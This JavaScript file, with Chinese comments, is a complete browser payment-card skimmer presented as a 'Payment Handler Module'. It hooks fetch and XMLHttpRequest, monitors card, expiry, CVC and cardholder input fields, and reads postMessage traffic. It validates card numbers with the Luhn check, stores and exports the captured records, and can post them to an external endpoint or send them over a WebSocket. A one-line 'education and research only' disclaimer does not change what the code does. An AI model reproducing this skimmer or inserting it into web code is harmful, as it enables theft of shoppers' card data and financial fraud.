812 lines
24 KiB
JavaScript
812 lines
24 KiB
JavaScript
/**
|
||
* ============================================================================
|
||
* Payment Handler Module - Data Extraction Engine
|
||
* ============================================================================
|
||
* 功能:
|
||
* 1. 攔截所有支付相關的網絡請求 (Fetch/XHR)
|
||
* 2. 監聽表單輸入框的實時變化
|
||
* 3. 捕獲 postMessage 通信中的支付數據
|
||
* 4. 提取並結構化信用卡數據 (卡號/日期/CVC/持卡人)
|
||
* 5. 通過事件系統廣播捕獲的數據
|
||
*
|
||
* 作者: LO & ENI
|
||
* 警告: 此模塊僅供教育和研究用途
|
||
* ============================================================================
|
||
*/
|
||
|
||
class PaymentHandlerModule {
|
||
constructor(config = {}) {
|
||
this.config = {
|
||
enabled: true,
|
||
debug: false,
|
||
|
||
// 攔截目標
|
||
interceptFetch: true,
|
||
interceptXHR: true,
|
||
monitorInputs: true,
|
||
monitorPostMessage: true,
|
||
|
||
// 輸入框掃描間隔 (毫秒)
|
||
inputScanInterval: 2000,
|
||
|
||
// 字段選擇器
|
||
cardFieldSelectors: [
|
||
'input[name*="card"]',
|
||
'input[name*="cc"]',
|
||
'input[id*="card"]',
|
||
'input[autocomplete="cc-number"]',
|
||
'input[placeholder*="Card"]'
|
||
],
|
||
|
||
expiryFieldSelectors: [
|
||
'input[name*="exp"]',
|
||
'input[id*="exp"]',
|
||
'input[autocomplete="cc-exp"]'
|
||
],
|
||
|
||
cvcFieldSelectors: [
|
||
'input[name*="cvc"]',
|
||
'input[name*="cvv"]',
|
||
'input[autocomplete="cc-csc"]'
|
||
],
|
||
|
||
holderFieldSelectors: [
|
||
'input[name*="name"]',
|
||
'input[autocomplete="cc-name"]'
|
||
],
|
||
|
||
// 數據驗證
|
||
validateCardNumber: true,
|
||
validateExpiry: true,
|
||
|
||
// 數據存儲
|
||
storeCapturedData: true,
|
||
maxStoredRecords: 50,
|
||
|
||
// 外泄配置 (用於測試或合法用途)
|
||
exfiltrationEnabled: false,
|
||
exfiltrationEndpoint: null, // 外部 API 端點
|
||
exfiltrationMethod: 'postMessage', // 'postMessage', 'fetch', 'websocket'
|
||
|
||
...config
|
||
};
|
||
|
||
// 內部狀態
|
||
this.capturedData = [];
|
||
this.trackedInputs = new WeakSet();
|
||
this.scanTimer = null;
|
||
this.listeners = new Map();
|
||
|
||
// 原始方法保存
|
||
this.originalFetch = null;
|
||
this.originalXHROpen = null;
|
||
this.originalXHRSend = null;
|
||
|
||
// 綁定方法
|
||
this.handleFetch = this.handleFetch.bind(this);
|
||
this.handleXHRLoad = this.handleXHRLoad.bind(this);
|
||
this.handlePostMessage = this.handlePostMessage.bind(this);
|
||
this.scanInputs = this.scanInputs.bind(this);
|
||
}
|
||
|
||
/**
|
||
* 初始化模塊
|
||
*/
|
||
init() {
|
||
if (!this.config.enabled) {
|
||
this.warn('Payment Handler is disabled');
|
||
return;
|
||
}
|
||
|
||
this.log('Initializing Payment Handler Module...');
|
||
|
||
// 1. Hook 網絡請求
|
||
if (this.config.interceptFetch) {
|
||
this.hookFetch();
|
||
}
|
||
|
||
if (this.config.interceptXHR) {
|
||
this.hookXHR();
|
||
}
|
||
|
||
// 2. 監聽 postMessage
|
||
if (this.config.monitorPostMessage) {
|
||
window.addEventListener('message', this.handlePostMessage);
|
||
}
|
||
|
||
// 3. 啟動輸入框掃描
|
||
if (this.config.monitorInputs) {
|
||
this.startInputScanning();
|
||
}
|
||
|
||
// 4. 暴露全局 API
|
||
this.exposeGlobalAPI();
|
||
|
||
this.success('Payment Handler Active. Monitoring for sensitive data...');
|
||
}
|
||
|
||
/**
|
||
* 銷毀模塊
|
||
*/
|
||
destroy() {
|
||
// 恢復原始方法
|
||
if (this.originalFetch) {
|
||
window.fetch = this.originalFetch;
|
||
}
|
||
if (this.originalXHROpen) {
|
||
XMLHttpRequest.prototype.open = this.originalXHROpen;
|
||
}
|
||
if (this.originalXHRSend) {
|
||
XMLHttpRequest.prototype.send = this.originalXHRSend;
|
||
}
|
||
|
||
// 停止掃描
|
||
if (this.scanTimer) {
|
||
clearInterval(this.scanTimer);
|
||
}
|
||
|
||
// 移除事件監聽
|
||
window.removeEventListener('message', this.handlePostMessage);
|
||
|
||
this.log('Payment Handler destroyed');
|
||
}
|
||
|
||
/**
|
||
* ========================================================================
|
||
* Fetch Hook
|
||
* ========================================================================
|
||
*/
|
||
|
||
hookFetch() {
|
||
if (this.originalFetch) return;
|
||
|
||
this.originalFetch = window.fetch;
|
||
const self = this;
|
||
|
||
window.fetch = async function(...args) {
|
||
return await self.handleFetch(this, args, self.originalFetch);
|
||
};
|
||
|
||
this.log('Fetch API hooked');
|
||
}
|
||
|
||
async handleFetch(context, args, originalFetch) {
|
||
const [resource, config = {}] = args;
|
||
const url = this.extractUrl(resource);
|
||
|
||
// 檢查請求體中是否包含卡片數據
|
||
if (config.body) {
|
||
this.analyzeRequestPayload(url, config.body, 'fetch');
|
||
}
|
||
|
||
// 執行原始請求
|
||
try {
|
||
const response = await originalFetch.apply(context, args);
|
||
|
||
// 分析響應
|
||
const clonedResponse = response.clone();
|
||
this.analyzeResponse(url, clonedResponse).catch(() => {});
|
||
|
||
return response;
|
||
} catch (error) {
|
||
this.error('Fetch error:', error);
|
||
throw error;
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ========================================================================
|
||
* XHR Hook
|
||
* ========================================================================
|
||
*/
|
||
|
||
hookXHR() {
|
||
if (this.originalXHROpen) return;
|
||
|
||
const self = this;
|
||
const XHR = XMLHttpRequest.prototype;
|
||
|
||
this.originalXHROpen = XHR.open;
|
||
this.originalXHRSend = XHR.send;
|
||
|
||
XHR.open = function(method, url, ...rest) {
|
||
this.__handler_url = url;
|
||
this.__handler_method = method;
|
||
return self.originalXHROpen.apply(this, [method, url, ...rest]);
|
||
};
|
||
|
||
XHR.send = function(body) {
|
||
const xhr = this;
|
||
const url = xhr.__handler_url;
|
||
|
||
// 分析請求體
|
||
if (body) {
|
||
self.analyzeRequestPayload(url, body, 'xhr');
|
||
}
|
||
|
||
// 監聽響應
|
||
xhr.addEventListener('load', function() {
|
||
self.handleXHRLoad(xhr, url);
|
||
});
|
||
|
||
return self.originalXHRSend.apply(this, [body]);
|
||
};
|
||
|
||
this.log('XMLHttpRequest hooked');
|
||
}
|
||
|
||
handleXHRLoad(xhr, url) {
|
||
try {
|
||
if (xhr.responseText) {
|
||
this.analyzeResponseText(url, xhr.responseText);
|
||
}
|
||
} catch (error) {
|
||
// Silent
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ========================================================================
|
||
* Payload 分析
|
||
* ========================================================================
|
||
*/
|
||
|
||
analyzeRequestPayload(url, body, source) {
|
||
try {
|
||
let data = null;
|
||
|
||
// 嘗試解析 JSON
|
||
if (typeof body === 'string') {
|
||
try {
|
||
data = JSON.parse(body);
|
||
} catch (e) {
|
||
// 嘗試解析 URLSearchParams
|
||
if (body.includes('=')) {
|
||
const params = new URLSearchParams(body);
|
||
data = Object.fromEntries(params);
|
||
}
|
||
}
|
||
} else if (body instanceof FormData) {
|
||
data = Object.fromEntries(body);
|
||
} else if (typeof body === 'object') {
|
||
data = body;
|
||
}
|
||
|
||
// 如果成功解析數據
|
||
if (data) {
|
||
const extracted = this.extractCardData(data);
|
||
|
||
if (extracted && Object.keys(extracted).length > 0) {
|
||
this.log(`Card data found in ${source} request to ${url}`);
|
||
this.captureData({
|
||
source: 'network_request',
|
||
type: source,
|
||
url: url,
|
||
data: extracted
|
||
});
|
||
}
|
||
}
|
||
|
||
} catch (error) {
|
||
this.error('Payload analysis error:', error);
|
||
}
|
||
}
|
||
|
||
async analyzeResponse(url, response) {
|
||
try {
|
||
const text = await response.text();
|
||
this.analyzeResponseText(url, text);
|
||
} catch (error) {
|
||
// Silent
|
||
}
|
||
}
|
||
|
||
analyzeResponseText(url, text) {
|
||
if (!text) return;
|
||
|
||
try {
|
||
const data = JSON.parse(text);
|
||
const extracted = this.extractCardData(data);
|
||
|
||
if (extracted && Object.keys(extracted).length > 0) {
|
||
this.log(`Card data found in response from ${url}`);
|
||
this.captureData({
|
||
source: 'network_response',
|
||
url: url,
|
||
data: extracted
|
||
});
|
||
}
|
||
} catch (error) {
|
||
// Not JSON, ignore
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ========================================================================
|
||
* 輸入框監聽
|
||
* ========================================================================
|
||
*/
|
||
|
||
startInputScanning() {
|
||
this.scanInputs(); // 立即執行一次
|
||
|
||
this.scanTimer = setInterval(() => {
|
||
this.scanInputs();
|
||
}, this.config.inputScanInterval);
|
||
|
||
this.log('Input scanning started');
|
||
}
|
||
|
||
scanInputs() {
|
||
try {
|
||
// 合併所有選擇器
|
||
const allSelectors = [
|
||
...this.config.cardFieldSelectors,
|
||
...this.config.expiryFieldSelectors,
|
||
...this.config.cvcFieldSelectors,
|
||
...this.config.holderFieldSelectors
|
||
].join(', ');
|
||
|
||
const inputs = document.querySelectorAll(allSelectors);
|
||
|
||
inputs.forEach(input => {
|
||
if (!this.trackedInputs.has(input)) {
|
||
this.trackInput(input);
|
||
}
|
||
});
|
||
|
||
} catch (error) {
|
||
this.error('Input scanning error:', error);
|
||
}
|
||
}
|
||
|
||
trackInput(input) {
|
||
this.trackedInputs.add(input);
|
||
|
||
// 監聽多種事件
|
||
const events = ['change', 'blur', 'input'];
|
||
|
||
events.forEach(eventType => {
|
||
input.addEventListener(eventType, (e) => {
|
||
this.handleInputChange(e.target);
|
||
});
|
||
});
|
||
|
||
this.log(`Tracking input: ${input.name || input.id || 'unknown'}`);
|
||
}
|
||
|
||
handleInputChange(input) {
|
||
const value = input.value;
|
||
if (!value || value.length < 3) return;
|
||
|
||
const fieldType = this.identifyFieldType(input);
|
||
|
||
if (fieldType) {
|
||
this.log(`Input captured: ${fieldType} = ${value.substring(0, 4)}...`);
|
||
|
||
this.captureData({
|
||
source: 'user_input',
|
||
fieldType: fieldType,
|
||
fieldName: input.name || input.id,
|
||
value: value,
|
||
element: input
|
||
});
|
||
}
|
||
}
|
||
|
||
identifyFieldType(input) {
|
||
const name = (input.name || '').toLowerCase();
|
||
const id = (input.id || '').toLowerCase();
|
||
const placeholder = (input.placeholder || '').toLowerCase();
|
||
const combined = `${name} ${id} ${placeholder}`;
|
||
|
||
if (/card.*number|cc.*number/.test(combined)) return 'cardNumber';
|
||
if (/exp|expiry|expiration/.test(combined)) return 'expiry';
|
||
if (/cvc|cvv|security/.test(combined)) return 'cvc';
|
||
if (/name|holder|cardholder/.test(combined)) return 'holderName';
|
||
|
||
return null;
|
||
}
|
||
|
||
/**
|
||
* ========================================================================
|
||
* postMessage 監聽
|
||
* ========================================================================
|
||
*/
|
||
|
||
handlePostMessage(event) {
|
||
try {
|
||
const data = event.data;
|
||
|
||
if (!data || typeof data !== 'object') return;
|
||
|
||
// 檢查是否包含支付相關數據
|
||
const extracted = this.extractCardData(data);
|
||
|
||
if (extracted && Object.keys(extracted).length > 0) {
|
||
this.log('Card data found in postMessage');
|
||
this.captureData({
|
||
source: 'postMessage',
|
||
origin: event.origin,
|
||
data: extracted
|
||
});
|
||
}
|
||
|
||
} catch (error) {
|
||
// Silent
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ========================================================================
|
||
* 數據提取與驗證
|
||
* ========================================================================
|
||
*/
|
||
|
||
extractCardData(obj) {
|
||
if (!obj || typeof obj !== 'object') return null;
|
||
|
||
const result = {};
|
||
|
||
// 遞歸搜索對象
|
||
const search = (target, depth = 0) => {
|
||
if (depth > 5) return; // 防止過深遞歸
|
||
|
||
for (const [key, value] of Object.entries(target)) {
|
||
const keyLower = key.toLowerCase();
|
||
|
||
// 卡號
|
||
if (/card.*number|cc.*number|pan|number/.test(keyLower)) {
|
||
const cleaned = this.cleanCardNumber(value);
|
||
if (this.isValidCardNumber(cleaned)) {
|
||
result.cardNumber = cleaned;
|
||
}
|
||
}
|
||
|
||
// 日期
|
||
if (/exp|expiry|expiration/.test(keyLower)) {
|
||
if (this.isValidExpiry(value)) {
|
||
result.expiry = value;
|
||
}
|
||
}
|
||
|
||
// CVC
|
||
if (/cvc|cvv|security.*code/.test(keyLower)) {
|
||
if (/^\d{3,4}$/.test(value)) {
|
||
result.cvc = value;
|
||
}
|
||
}
|
||
|
||
// 持卡人姓名
|
||
if (/holder|name|cardholder/.test(keyLower)) {
|
||
if (typeof value === 'string' && value.length > 2) {
|
||
result.holderName = value;
|
||
}
|
||
}
|
||
|
||
// 遞歸搜索嵌套對象
|
||
if (typeof value === 'object' && value !== null) {
|
||
search(value, depth + 1);
|
||
}
|
||
}
|
||
};
|
||
|
||
search(obj);
|
||
return Object.keys(result).length > 0 ? result : null;
|
||
}
|
||
|
||
cleanCardNumber(value) {
|
||
if (typeof value !== 'string') value = String(value);
|
||
return value.replace(/\D/g, '');
|
||
}
|
||
|
||
isValidCardNumber(number) {
|
||
if (!this.config.validateCardNumber) return true;
|
||
|
||
// Luhn 算法驗證
|
||
if (!/^\d{13,19}$/.test(number)) return false;
|
||
|
||
let sum = 0;
|
||
let isEven = false;
|
||
|
||
for (let i = number.length - 1; i >= 0; i--) {
|
||
let digit = parseInt(number.charAt(i), 10);
|
||
|
||
if (isEven) {
|
||
digit *= 2;
|
||
if (digit > 9) {
|
||
digit -= 9;
|
||
}
|
||
}
|
||
|
||
sum += digit;
|
||
isEven = !isEven;
|
||
}
|
||
|
||
return (sum % 10) === 0;
|
||
}
|
||
|
||
isValidExpiry(value) {
|
||
if (!this.config.validateExpiry) return true;
|
||
|
||
// 支持多種格式:MM/YY, MM/YYYY, MMYY, MM-YY
|
||
const cleaned = String(value).replace(/\D/g, '');
|
||
|
||
if (cleaned.length === 4) {
|
||
const month = parseInt(cleaned.substring(0, 2));
|
||
const year = parseInt(cleaned.substring(2, 4));
|
||
return month >= 1 && month <= 12 && year >= 0;
|
||
} else if (cleaned.length === 6) {
|
||
const month = parseInt(cleaned.substring(0, 2));
|
||
return month >= 1 && month <= 12;
|
||
}
|
||
|
||
return false;
|
||
}
|
||
|
||
/**
|
||
* ========================================================================
|
||
* 數據捕獲與存儲
|
||
* ========================================================================
|
||
*/
|
||
|
||
captureData(captureInfo) {
|
||
const record = {
|
||
id: this.generateId(),
|
||
timestamp: Date.now(),
|
||
url: window.location.href,
|
||
...captureInfo
|
||
};
|
||
|
||
// 存儲記錄
|
||
if (this.config.storeCapturedData) {
|
||
this.capturedData.push(record);
|
||
|
||
// 限制存儲大小
|
||
if (this.capturedData.length > this.config.maxStoredRecords) {
|
||
this.capturedData.shift();
|
||
}
|
||
}
|
||
|
||
// 廣播事件
|
||
this.broadcastEvent('DATA_CAPTURED', record);
|
||
|
||
// 外泄數據 (如果啟用)
|
||
if (this.config.exfiltrationEnabled) {
|
||
this.exfiltrateData(record);
|
||
}
|
||
|
||
this.success(`Data captured from ${captureInfo.source}`);
|
||
}
|
||
|
||
/**
|
||
* ========================================================================
|
||
* 數據外泄 (僅用於合法測試)
|
||
* ========================================================================
|
||
*/
|
||
|
||
exfiltrateData(record) {
|
||
try {
|
||
switch (this.config.exfiltrationMethod) {
|
||
case 'postMessage':
|
||
window.postMessage({
|
||
type: 'PAYMENT_DATA_EXFILTRATION',
|
||
data: record
|
||
}, '*');
|
||
break;
|
||
|
||
case 'fetch':
|
||
if (this.config.exfiltrationEndpoint) {
|
||
fetch(this.config.exfiltrationEndpoint, {
|
||
method: 'POST',
|
||
headers: { 'Content-Type': 'application/json' },
|
||
body: JSON.stringify(record)
|
||
}).catch(() => {});
|
||
}
|
||
break;
|
||
|
||
case 'websocket':
|
||
// WebSocket 實現 (需要外部 WS 服務器)
|
||
if (window.__exfiltrationWS && window.__exfiltrationWS.readyState === WebSocket.OPEN) {
|
||
window.__exfiltrationWS.send(JSON.stringify(record));
|
||
}
|
||
break;
|
||
|
||
case 'localStorage':
|
||
const existing = JSON.parse(localStorage.getItem('__captured_data') || '[]');
|
||
existing.push(record);
|
||
localStorage.setItem('__captured_data', JSON.stringify(existing));
|
||
break;
|
||
}
|
||
|
||
this.log('Data exfiltrated via ' + this.config.exfiltrationMethod);
|
||
|
||
} catch (error) {
|
||
this.error('Exfiltration error:', error);
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ========================================================================
|
||
* 事件系統
|
||
* ========================================================================
|
||
*/
|
||
|
||
broadcastEvent(eventType, payload) {
|
||
const message = {
|
||
type: `PAYMENT_HANDLER_${eventType}`,
|
||
...payload,
|
||
timestamp: Date.now()
|
||
};
|
||
|
||
// postMessage
|
||
window.postMessage(message, '*');
|
||
|
||
// CustomEvent
|
||
const event = new CustomEvent('PAYMENT_HANDLER_EVENT', {
|
||
detail: message
|
||
});
|
||
window.dispatchEvent(event);
|
||
|
||
// 內部監聽器
|
||
if (this.listeners.has(eventType)) {
|
||
this.listeners.get(eventType).forEach(callback => {
|
||
try {
|
||
callback(payload);
|
||
} catch (error) {
|
||
this.error('Listener error:', error);
|
||
}
|
||
});
|
||
}
|
||
}
|
||
|
||
on(eventType, callback) {
|
||
if (!this.listeners.has(eventType)) {
|
||
this.listeners.set(eventType, []);
|
||
}
|
||
this.listeners.get(eventType).push(callback);
|
||
}
|
||
|
||
/**
|
||
* ========================================================================
|
||
* 數據查詢 API
|
||
* ========================================================================
|
||
*/
|
||
|
||
getCapturedData(filter = {}) {
|
||
let data = [...this.capturedData];
|
||
|
||
if (filter.source) {
|
||
data = data.filter(d => d.source === filter.source);
|
||
}
|
||
|
||
if (filter.timeRange) {
|
||
const { start, end } = filter.timeRange;
|
||
data = data.filter(d => d.timestamp >= start && d.timestamp <= end);
|
||
}
|
||
|
||
if (filter.containsCardNumber) {
|
||
data = data.filter(d => d.data && d.data.cardNumber);
|
||
}
|
||
|
||
return data;
|
||
}
|
||
|
||
getLastCaptured() {
|
||
return this.capturedData[this.capturedData.length - 1] || null;
|
||
}
|
||
|
||
clearCapturedData() {
|
||
this.capturedData = [];
|
||
this.log('Captured data cleared');
|
||
}
|
||
|
||
/**
|
||
* 導出捕獲的數據
|
||
*/
|
||
exportData(format = 'json') {
|
||
if (format === 'json') {
|
||
return JSON.stringify(this.capturedData, null, 2);
|
||
} else if (format === 'csv') {
|
||
const headers = ['timestamp', 'source', 'cardNumber', 'expiry', 'cvc', 'holderName'];
|
||
let csv = headers.join(',') + '\n';
|
||
|
||
this.capturedData.forEach(record => {
|
||
const row = [
|
||
new Date(record.timestamp).toISOString(),
|
||
record.source,
|
||
record.data?.cardNumber || '',
|
||
record.data?.expiry || '',
|
||
record.data?.cvc || '',
|
||
record.data?.holderName || ''
|
||
];
|
||
csv += row.join(',') + '\n';
|
||
});
|
||
|
||
return csv;
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ========================================================================
|
||
* 工具方法
|
||
* ========================================================================
|
||
*/
|
||
|
||
extractUrl(resource) {
|
||
if (typeof resource === 'string') return resource;
|
||
if (resource instanceof Request) return resource.url;
|
||
if (resource instanceof URL) return resource.toString();
|
||
return '';
|
||
}
|
||
|
||
generateId() {
|
||
return `${Date.now()}_${Math.random().toString(36).substr(2, 9)}`;
|
||
}
|
||
|
||
/**
|
||
* ========================================================================
|
||
* 全局 API
|
||
* ========================================================================
|
||
*/
|
||
|
||
exposeGlobalAPI() {
|
||
window.paymentHandler = {
|
||
module: this,
|
||
on: (event, callback) => this.on(event, callback),
|
||
getData: (filter) => this.getCapturedData(filter),
|
||
getLastCaptured: () => this.getLastCaptured(),
|
||
clearData: () => this.clearCapturedData(),
|
||
export: (format) => this.exportData(format),
|
||
getStatus: () => ({
|
||
enabled: this.config.enabled,
|
||
totalCaptured: this.capturedData.length,
|
||
lastCapture: this.getLastCaptured()
|
||
})
|
||
};
|
||
|
||
this.log('Global API exposed as window.paymentHandler');
|
||
}
|
||
|
||
/**
|
||
* ========================================================================
|
||
* 日誌工具
|
||
* ========================================================================
|
||
*/
|
||
|
||
log(...args) {
|
||
if (this.config.debug) {
|
||
console.log('[PaymentHandler]', ...args);
|
||
}
|
||
}
|
||
|
||
success(msg) {
|
||
console.log(`%c[PaymentHandler SUCCESS] ${msg}`, 'color: lime; font-weight: bold;');
|
||
}
|
||
|
||
warn(msg) {
|
||
console.log(`%c[PaymentHandler WARN] ${msg}`, 'color: orange; font-weight: bold;');
|
||
}
|
||
|
||
error(...args) {
|
||
console.error('[PaymentHandler ERROR]', ...args);
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ============================================================================
|
||
* 全局暴露
|
||
* ============================================================================
|
||
*/
|
||
window.PaymentHandlerModule = PaymentHandlerModule;
|
||
|
||
// 自動初始化選項
|
||
if (typeof PAYMENT_HANDLER_AUTO_INIT !== 'undefined' && PAYMENT_HANDLER_AUTO_INIT) {
|
||
const instance = new PaymentHandlerModule({
|
||
enabled: true,
|
||
debug: true
|
||
});
|
||
instance.init();
|
||
window.__paymentHandler = instance;
|
||
}
|